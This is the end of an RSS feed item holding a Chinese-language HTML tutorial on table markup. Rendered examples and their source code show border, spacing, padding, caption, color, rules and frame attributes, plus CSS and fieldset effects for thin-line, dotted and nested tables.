border: #000000; border-style: solid; border-width: 1px
}
td {
font-family: "Tahoma", "MS Shell Dlg"; font-size: 12px
}
textarea {
border: 1 solid #000000"
}
--></style><center>
<table height="417" cellspacing="1" cellpadding="0" width="619" align="center" bgcolor="#000000" summary="表格的制作方法" border="0">
    <caption><span class="style1">&lt;table&gt;标签的属性设置 </span></caption>
    <tbody>
        <tr bgcolor="#ffffff">
            <td width="365"><strong>带边框的表格：</strong><br />&lt;table border=1 &gt;<br />&lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt; <br />&lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt; <br />&lt;/table&gt;</td>
            <td width="248">
            <table border="1">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td>
            <p><strong>不带边框的表格：</strong><br />&lt;table&gt; &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt; &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt; &lt;/table&gt; </p>
            </td>
            <td>
            <table>
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>边框尺寸设置： &lt;table border=#&gt; #=边框粗度 </strong>
            <pre>&lt;table border=10&gt;
            &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt;
            &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt;
            &lt;/table&gt;</pre>
            </td>
            <td>
            <table border="10">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td>&lt;table border width=# height=#&gt;width：宽度，height：高度,#＝象素<br />设置表格宽度和高度：<br />&lt;table border width=170 height=100&gt; &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt; &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt; &lt;/table&gt;</td>
            <td>
            <table height="100" width="170" border="1">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>&lt;table border cellspacing=#&gt; #=象素</strong>
            <p>表元间隙设置：<br />&lt;table border cellspacing=10&gt; &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt; &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt; &lt;/table&gt;</p>
            </td>
            <td>
            <table cellspacing="10" border="1">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>&lt;table border cellpadding=#&gt; #=象素 </strong><br />表元内部空白设置：<br />&lt;table border cellpadding=10&gt; &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt; &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt; &lt;/table&gt; </td>
            <td>
            <table cellpadding="10" border="1">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>&lt;table align=#&gt; #=left,right,center </strong><dl>
            <pre>设置表格在网页中的布局位置：
            &lt;table align=&quot;left&quot; border&gt;
            &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt;
            &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt;
            &lt;/table&gt;
            My favorites...&lt;br&gt;
            cookies, chocolates, and more.</pre>
            </dl></td>
            <td>
            <table align="left" border="1">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            My favorites...<br />cookies, chocolates, and more. </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>表格的标题<br />&lt;caption &gt; 标题内容&lt;/caption&gt; <br />align=left,right,center valign=bottom,top</strong>
            <pre>&lt;table border&gt;
            &lt;caption align=center&gt;Lunch&lt;/caption&gt;
            &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt;
            &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt;
            &lt;/table&gt;</pre>
            <h3><br /></h3>
            </td>
            <td>
            <table border="1">
                <caption valign="top" align="left">Lunch </caption>
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>表格边框的色彩 <br />&lt;table bordercolor=#&gt;</strong>
            <pre>&lt;table cellspacing=5 border=5 bodercolor=#ffaa00&gt;
            &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt;
            &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt;
            &lt;/table&gt;</pre>
            </td>
            <td>
            <table bordercolor="#00ccff" cellspacing="5" border="5">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td><strong>表格边框色彩的亮度控制 <br />&lt;table bordercolorlight=#&gt;<br />&lt;table bordercolordark=#&gt;</strong>
            <pre>&lt;table <br />cellspacing=5 border=5
            bordercolorlight=blue bordercolordark=Maroon&gt;
            &lt;tr&gt;&lt;th&gt;Food&lt;/th&gt;&lt;th&gt;Drink&lt;/th&gt;&lt;th&gt;Sweet&lt;/th&gt;
            &lt;tr&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;C&lt;/td&gt;
            &lt;/table&gt;</pre>
            </td>
            <td>
            <table cellspacing="5" bordercolordark="#800000" bordercolorlight="#0000ff" border="5">
                <tbody>
                    <tr>
                        <th>Food</th><th>Drink</th><th>Sweet</th>
                    </tr>
                    <tr>
                        <td>A</td>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
<table height="30" cellspacing="0" cellpadding="0" width="600" border="0">
    <tbody>
        <tr>
            <td><b>一、表格中单元格之间分隔线的隐藏方法</b></td>
        </tr>
    </tbody>
</table>
<table cellspacing="0" cellpadding="8" width="600" border="0" class="t">
    <tbody>
        <tr>
            <td width="220">
            <table cellspacing="0" cellpadding="0" rules="cols" width="200" border="1">
                <tbody>
                    <tr align="center">
                        <td>第</td>
                        <td>一</td>
                        <td>行</td>
                    </tr>
                    <tr align="center">
                        <td>第</td>
                        <td>二</td>
                        <td>行</td>
                    </tr>
                    <tr align="center">
                        <td>第</td>
                        <td>三</td>
                        <td>行</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td width="380">这个表格去掉了单元格之间的横向分隔线(rules=cols)</td>
        </tr>
        <tr>
            <td><br />
            <table cellspacing="0" cellpadding="0" rules="rows" width="200" border="1">
                <tbody>
                    <tr align="center">
                        <td>第</td>
                        <td>第</td>
                        <td>第</td>
                    </tr>
                    <tr align="center">
                        <td>一</td>
                        <td>二</td>
                        <td>三</td>
                    </tr>
                    <tr align="center">
                        <td>列</td>
                        <td>列</td>
                        <td>列</td>
                    </tr>
                </tbody>
            </table>
            <br /></td>
            <td>这个表格去掉了单元格之间的纵向分隔线(rules=rows)</td>
        </tr>
        <tr>
            <td>
            <table cellspacing="0" cellpadding="0" rules="none" width="200" border="1">
                <tbody>
                    <tr align="center">
                        <td>横</td>
                        <td>&nbsp;</td>
                        <td>线</td>
                    </tr>
                    <tr align="center">
                        <td>竖</td>
                        <td>&nbsp;</td>
                        <td>线</td>
                    </tr>
                    <tr align="center">
                        <td>都</td>
                        <td>没</td>
                        <td>了</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td>这个表格去掉了单元格之间的纵向分隔线和横向分隔线(rules=none)</td>
        </tr>
        <tr>
            <td colspan="2"><hr color="#000000" size="1" />　　其实上面的三个表格都有三行三列，隐藏分隔线的诀窍在于rules，察看这三个表格的源代码，我们可以看到&lt;TABLE&gt;标签中都有rules。 它有三个参数(cols,rows,none)，当rules=cols时，表格会隐藏纵向的分隔线，这样我们就只能看到表格的行；当rules=rows时，则 隐藏了横向的分隔线，这样我们只能看到表格的列；而当rules=none时，纵向分隔线和横向分隔线将全部隐藏。</td>
        </tr>
    </tbody>
</table>
<br /><br /><br />
<table height="30" cellspacing="0" cellpadding="0" width="600" border="0">
    <tbody>
        <tr>
            <td><b>二、表格边框的隐藏</b></td>
        </tr>
    </tbody>
</table>
<table cellspacing="0" cellpadding="8" width="600" border="0" class="t">
    <tbody>
        <tr>
            <td>
            <table cellspacing="0" cellpadding="0" width="200" border="1">
                <tbody>
                    <tr align="center">
                        <td>普</td>
                        <td>表</td>
                    </tr>
                    <tr align="center">
                        <td>通</td>
                        <td>格</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td>这是一普通的表格</td>
        </tr>
        <tr>
            <td><br />
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="above">
                <tbody>
                    <tr align="center">
                        <td>不怕</td>
                        <td>下雨</td>
                    </tr>
                    <tr align="center">
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                    </tr>
                </tbody>
            </table>
            <br /></td>
            <td>只显示上边框(frame=above)</td>
        </tr>
        <tr>
            <td>
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="below">
                <tbody>
                    <tr>
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                    </tr>
                    <tr>
                        <td align="center">下起雨来</td>
                        <td align="center">该怎么办</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td>只显示下边框(frame=below)</td>
        </tr>
        <tr>
            <td><br />
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="vsides">
                <tbody>
                    <tr>
                        <td align="center">上不着天</td>
                        <td>&nbsp;</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td align="center">下不着地</td>
                    </tr>
                </tbody>
            </table>
            <br /></td>
            <td>只显示左、右边框(frame=vsides)</td>
        </tr>
        <tr>
            <td>
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="hsides">
                <tbody>
                    <tr>
                        <td>&nbsp;</td>
                        <td align="center">两边走开</td>
                    </tr>
                    <tr>
                        <td align="center">老子姓王</td>
                        <td>&nbsp;</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td>只显示上、下边框( frame=hsides)</td>
        </tr>
        <tr>
            <td><br />
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="lhs">
                <tbody>
                    <tr>
                        <td width="100">左右</td>
                        <td width="100">&nbsp;</td>
                    </tr>
                    <tr>
                        <td>为难</td>
                        <td>&nbsp;</td>
                    </tr>
                </tbody>
            </table>
            <br /></td>
            <td>只显示左边框( frame=lhs)</td>
        </tr>
        <tr>
            <td>
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="rhs">
                <tbody>
                    <tr>
                        <td width="100">&nbsp;</td>
                        <td align="right" width="100">左右</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td align="right">为难</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td>只显示右边框(frame=rhs)</td>
        </tr>
        <tr>
            <td><br />
            <table cellspacing="0" cellpadding="0" width="200" border="1" frame="void">
                <tbody>
                    <tr>
                        <td align="right">光秃秃</td>
                        <td>&nbsp;</td>
                    </tr>
                    <tr>
                        <td>&nbsp;</td>
                        <td align="left">全脱了</td>
                    </tr>
                </tbody>
            </table>
            </td>
            <td>不显示任何边框(frame=void)</td>
        </tr>
        <tr>
            <td colspan="2"><hr color="#000000" size="1" />表格边框的显示与隐藏，是可以用frame参数来控制的。请注意它只控制表格的边框图，而不影晌单元格。<br />只显示上边框 &lt;table frame=above&gt;<br />只显示下边框 &lt;table frame=below&gt; <br />只显示左、右边框 &lt;table frame=vsides&gt;<br />只显示上、下边框 &lt;table frame=hsides&gt;<br />只显示左边框 &lt;table frame=lhs&gt;<br />只显示右边框 &lt;table frame=rhs&gt;<br />不显示任何边框 &lt;table frame=void&gt;</td>
        </tr>
    </tbody>
</table>
<p>&nbsp;</p>
<table height="30" cellspacing="0" cellpadding="0" width="600" border="0">
    <tbody>
        <tr>
            <td><b>三、表格边框</b></td>
        </tr>
    </tbody>
</table>
<table cellspacing="0" cellpadding="8" width="600" border="0" class="t">
    <tbody>
        <tr valign="top">
            <td>
            <table cellspacing="0" cellpadding="0" width="200" border="1">
                <tbody>
                    <tr align="center">
                        <td>普</td>
                        <td>表</td>
                    </tr>
                    <tr align="center">
                        <td>通</td>
                        <td>格</td>
                    </tr>
                </tbody>
            </table>
            这是一普通的表格</td>
            <td><textarea rows="4" cols="40" name="textfield">&lt;table border=&quot;1&quot; width=&quot;200&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td&gt;普&lt;/td&gt;
            &lt;td&gt;表&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td&gt;通&lt;/td&gt;
            &lt;td&gt;格&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="1" cellpadding="0" width="200" bgcolor="#000000" border="0">
                <tbody>
                    <tr align="center" bgcolor="#ffffff">
                        <td bgcolor="#ffffff">细</td>
                        <td bgcolor="#ffffff">表</td>
                    </tr>
                    <tr align="center" bgcolor="#ffffff">
                        <td bgcolor="#ffffff">线</td>
                        <td bgcolor="#ffffff">格</td>
                    </tr>
                </tbody>
            </table>
            表格加上了漂亮的细线<br />(利用cellspacing1像素间隙和表格与单元格背景的不同)</td>
            <td><textarea rows="4" cols="40" name="textarea">&lt;table border=&quot;0&quot; width=&quot;200&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; bgcolor=&quot;#000000&quot; &gt;
            &lt;tr align=&quot;center&quot; bgcolor=&quot;#FFFFFF&quot;&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;细&lt;/td&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;表&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr align=&quot;center&quot; bgcolor=&quot;#FFFFFF&quot;&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;线&lt;/td&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;格&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="0" cellpadding="0" width="200">
                <tbody>
                    <tr align="center">
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px groove; BORDER-TOP: rgb(0,0,0) 1px groove; BORDER-LEFT: rgb(0,0,0) 1px groove; BORDER-BOTTOM: rgb(0,0,0) 1px groove">细</td>
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px groove; BORDER-TOP: rgb(0,0,0) 1px groove; BORDER-BOTTOM: rgb(0,0,0) 1px groove">表</td>
                    </tr>
                    <tr align="center">
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px groove; BORDER-LEFT: rgb(0,0,0) 1px groove; BORDER-BOTTOM: rgb(0,0,0) 1px groove">线</td>
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px groove; BORDER-BOTTOM: rgb(0,0,0) 1px groove">格</td>
                    </tr>
                </tbody>
            </table>
            这和上面那个可不一样，它用的是CSS，效果却一样。<br />(对单元格border的定义)</td>
            <td><textarea rows="4" cols="40" name="textarea2">&lt;table width=&quot;200&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td style=&quot;BORDER-top: rgb(0,0,0) 1px groove; BORDER-bottom: rgb(0,0,0) 1px groove; BORDER-left: rgb(0,0,0) 1px groove; BORDER-right: rgb(0,0,0) 1px groove&quot;&gt;细&lt;/td&gt;
            &lt;td style=&quot;BORDER-top: rgb(0,0,0) 1px groove; BORDER-bottom: rgb(0,0,0) 1px groove; BORDER-right: rgb(0,0,0) 1px groove&quot;&gt;表&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td style=&quot;BORDER-bottom: rgb(0,0,0) 1px groove; BORDER-left: rgb(0,0,0) 1px groove; BORDER-right: rgb(0,0,0) 1px groove&quot;&gt;线&lt;/td&gt;
            &lt;td style=&quot;BORDER-bottom: rgb(0,0,0) 1px groove; BORDER-right: rgb(0,0,0) 1px groove&quot;&gt;格&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="0" cellpadding="0" width="200">
                <tbody>
                    <tr align="center">
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px dotted; BORDER-TOP: rgb(0,0,0) 1px dotted; BORDER-LEFT: rgb(0,0,0) 1px dotted; BORDER-BOTTOM: rgb(0,0,0) 1px dotted">细</td>
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px dotted; BORDER-TOP: rgb(0,0,0) 1px dotted; BORDER-BOTTOM: rgb(0,0,0) 1px dotted">表</td>
                    </tr>
                    <tr align="center">
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px dotted; BORDER-LEFT: rgb(0,0,0) 1px dotted; BORDER-BOTTOM: rgb(0,0,0) 1px dotted">线</td>
                        <td style="BORDER-RIGHT: rgb(0,0,0) 1px dotted; BORDER-BOTTOM: rgb(0,0,0) 1px dotted">格</td>
                    </tr>
                </tbody>
            </table>
            再进一步，把边框变成虚线，同样是CSS的神奇作用。</td>
            <td><textarea rows="4" cols="40" name="textarea2">&lt;table width=&quot;200&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td style=&quot;BORDER-top: rgb(0,0,0) 1px dotted; BORDER-bottom: rgb(0,0,0) 1px dotted; BORDER-left: rgb(0,0,0) 1px dotted; BORDER-right: rgb(0,0,0) 1px dotted&quot;&gt;细&lt;/td&gt;
            &lt;td style=&quot;BORDER-top: rgb(0,0,0) 1px dotted; BORDER-bottom: rgb(0,0,0) 1px dotted; BORDER-right: rgb(0,0,0) 1px dotted&quot;&gt;表&lt;/td&gt;
            &lt;/tr&gt;
            &lt;td style=&quot;BORDER-bottom: rgb(0,0,0) 1px dotted; BORDER-left: rgb(0,0,0) 1px dotted; BORDER-right: rgb(0,0,0) 1px dotted&quot;&gt;线&lt;/td&gt;
            &lt;td style=&quot;BORDER-bottom: rgb(0,0,0) 1px dotted; BORDER-right: rgb(0,0,0) 1px dotted&quot;&gt;格&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="2" cellpadding="0" width="200" border="0">
                <tbody>
                    <tr>
                        <td>
                        <table cellspacing="1" cellpadding="0" width="100%" bgcolor="#000000" border="0">
                            <tbody>
                                <tr>
                                    <td bgcolor="#ffffff">&nbsp;</td>
                                </tr>
                            </tbody>
                        </table>
                        </td>
                        <td>
                        <table cellspacing="1" cellpadding="0" width="100%" bgcolor="#000000" border="0">
                            <tbody>
                                <tr>
                                    <td bgcolor="#ffffff">&nbsp;</td>
                                </tr>
                            </tbody>
                        </table>
                        </td>
                    </tr>
                    <tr>
                        <td>
                        <table cellspacing="1" cellpadding="0" width="100%" bgcolor="#000000" border="0">
                            <tbody>
                                <tr>
                                    <td bgcolor="#ffffff">&nbsp;</td>
                                </tr>
                            </tbody>
                        </table>
                        </td>
                        <td>
                        <table cellspacing="1" cellpadding="0" width="100%" bgcolor="#000000" border="0">
                            <tbody>
                                <tr>
                                    <td bgcolor="#ffffff">&nbsp;</td>
                                </tr>
                            </tbody>
                        </table>
                        </td>
                    </tr>
                </tbody>
            </table>
            细线表格的扩展应用，奥妙就是在第个单元格中再套入一个表格。</td>
            <td><textarea rows="4" cols="40" name="textarea3">&lt;table width=&quot;200&quot; border=&quot;0&quot; cellspacing=&quot;2&quot; cellpadding=&quot;0&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;
            &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; bgcolor=&quot;#000000&quot;&gt;
            &lt;tr&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;&nbsp;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;
            &lt;/td&gt;
            &lt;td&gt;
            &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; bgcolor=&quot;#000000&quot;&gt;
            &lt;tr&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;&nbsp;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;
            &lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr&gt;
            &lt;td&gt;
            &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; bgcolor=&quot;#000000&quot;&gt;
            &lt;tr&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;&nbsp;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;
            &lt;/td&gt;
            &lt;td&gt;
            &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; bgcolor=&quot;#000000&quot;&gt;
            &lt;tr&gt;
            &lt;td bgcolor=&quot;#FFFFFF&quot;&gt;&nbsp;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;
            &lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="0" bordercolordark="#ffffff" cellpadding="0" width="200" bordercolorlight="#ffffff" border="1">
                <tbody>
                    <tr align="center">
                        <td bordercolorlight="#000000" bgcolor="#b7b7b7" bordercolordark="#eeeeee">立</td>
                        <td bordercolorlight="#000000" bgcolor="#b7b7b7" bordercolordark="#eeeeee">表</td>
                    </tr>
                    <tr align="center">
                        <td bordercolorlight="#000000" bgcolor="#b7b7b7" bordercolordark="#eeeeee">体</td>
                        <td bordercolorlight="#000000" bgcolor="#b7b7b7" bordercolordark="#eeeeee">格</td>
                    </tr>
                </tbody>
            </table>
            立体感的表格<br />(简单的亮暗边框设置，注意只有IE支持这种效果)</td>
            <td><textarea rows="4" cols="40" name="textarea4">&lt;table border=&quot;1&quot; bordercolorlight=&quot;#ffffff&quot; bordercolordark=&quot;#ffffff&quot; width=&quot;200&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td bgcolor=&quot;#B7B7B7&quot;
            bordercolorlight=&quot;#000000&quot; bordercolordark=&quot;#eeeeee&quot; &gt;立&lt;/td&gt;
            &lt;td bgcolor=&quot;#B7B7B7&quot;
            bordercolorlight=&quot;#000000&quot; bordercolordark=&quot;#eeeeee&quot; &gt;表&lt;/td&gt;
            &lt;/tr&gt;
            &lt;tr align=&quot;center&quot;&gt;
            &lt;td bgcolor=&quot;#B7B7B7&quot;
            bordercolorlight=&quot;#000000&quot; bordercolordark=&quot;#eeeeee&quot; &gt;体&lt;/td&gt;
            &lt;td bgcolor=&quot;#B7B7B7&quot;
            bordercolorlight=&quot;#000000&quot; bordercolordark=&quot;#eeeeee&quot; &gt;格&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="0" cellpadding="0" width="200">
                <tbody>
                    <tr>
                        <td><fieldset align="center"><legend>无名表格 </legend>
                        <p align="right">&nbsp;</p>
                        </fieldset></td>
                    </tr>
                </tbody>
            </table>
            给表格加上一个表头<br />(应用&lt;fieldset&gt;和&lt;/legend&gt;标签)</td>
            <td><textarea rows="4" cols="40" name="textarea5">&lt;table width=&quot;200&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;fieldset style=&quot;width:200&quot; align=&quot;center&quot;&gt; &lt;legend&gt; 无名表格 &lt;/legend&gt;
            &lt;p align=&quot;right&quot;&gt;
            &lt;/fieldset&gt;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table cellspacing="0" cellpadding="0" width="200">
                <tbody>
                    <tr>
                        <td><fieldset style="COLOR: #b7b7b7; BORDER-TOP-STYLE: groove; BORDER-RIGHT-STYLE: groove; BORDER-LEFT-STYLE: groove; BORDER-BOTTOM-STYLE: groove" align="center"><legend style="COLOR: blue">表中表效果Ⅰ</legend><br /></fieldset> </td>
                    </tr>
                </tbody>
            </table>
            给表头再加个框<br />(用CSS为&lt;legnd&gt;定义一个边框)</td>
            <td><textarea rows="4" cols="40" name="textarea6">&lt;table width=&quot;200&quot;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;
            &lt;fieldset style=&quot;width: 200; color: #B7B7B7; border-style: groove&quot; align=&quot;center&quot;&gt;
            &lt;legend style=&quot;color: blue; border: 1 solid #000000&quot;&gt; 表中表效果Ⅰ&lt;/legend&gt;
            &lt;br&gt;
            &lt;/fieldset&gt;
            &lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr valign="top">
            <td>
            <table width="200">
                <tbody>
                    <tr>
                        <td><fieldset align="center"><legend>
                        <table height="20" cellspacing="1" cellpadding="0" width="80">
                            <tbody>
                                <tr>
                                    <td><font color="#0000ff">表中表效果Ⅱ</font></td>
                                </tr>
                            </tbody>
                        </table>
                        </legend><br /></fieldset> </td>
                    </tr>
                </tbody>
            </table>
            看起来和上面的一样，可是这个才是真正的表中表哦。<br />(在&lt;legnd&gt;中插入一个表格)</td>
            <td><textarea rows="4" cols="40" name="textarea7">&lt;table width=&quot;200&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;fieldset style=&quot;width:200&quot; align=&quot;center&quot;&gt; &lt;legend&gt;
            &lt;table style=&quot;border: 1 solid #000000&quot; width=&quot;80&quot; cellspacing=&quot;1&quot; cellpadding=&quot;0&quot; height=&quot;20&quot;&gt;
            &lt;tr&gt;
            &lt;td&gt;&lt;font color=blue&gt;表中表效果Ⅱ&lt;/font&gt;&lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;
            &lt;/legend&gt;&lt;br&gt;
            &lt;/fieldset&gt;
            &lt;/td&gt;
            &lt;/tr&gt;
            &lt;/table&gt;</textarea> </td>
        </tr>
        <tr>
            <td colspan="2"><hr color="#000000" size="1" />　　 </td>
        </tr>
    </tbody>
</table>
<p><br /><br /></p>
</center>]]></description>
		</item>
		
</channel>
</rss>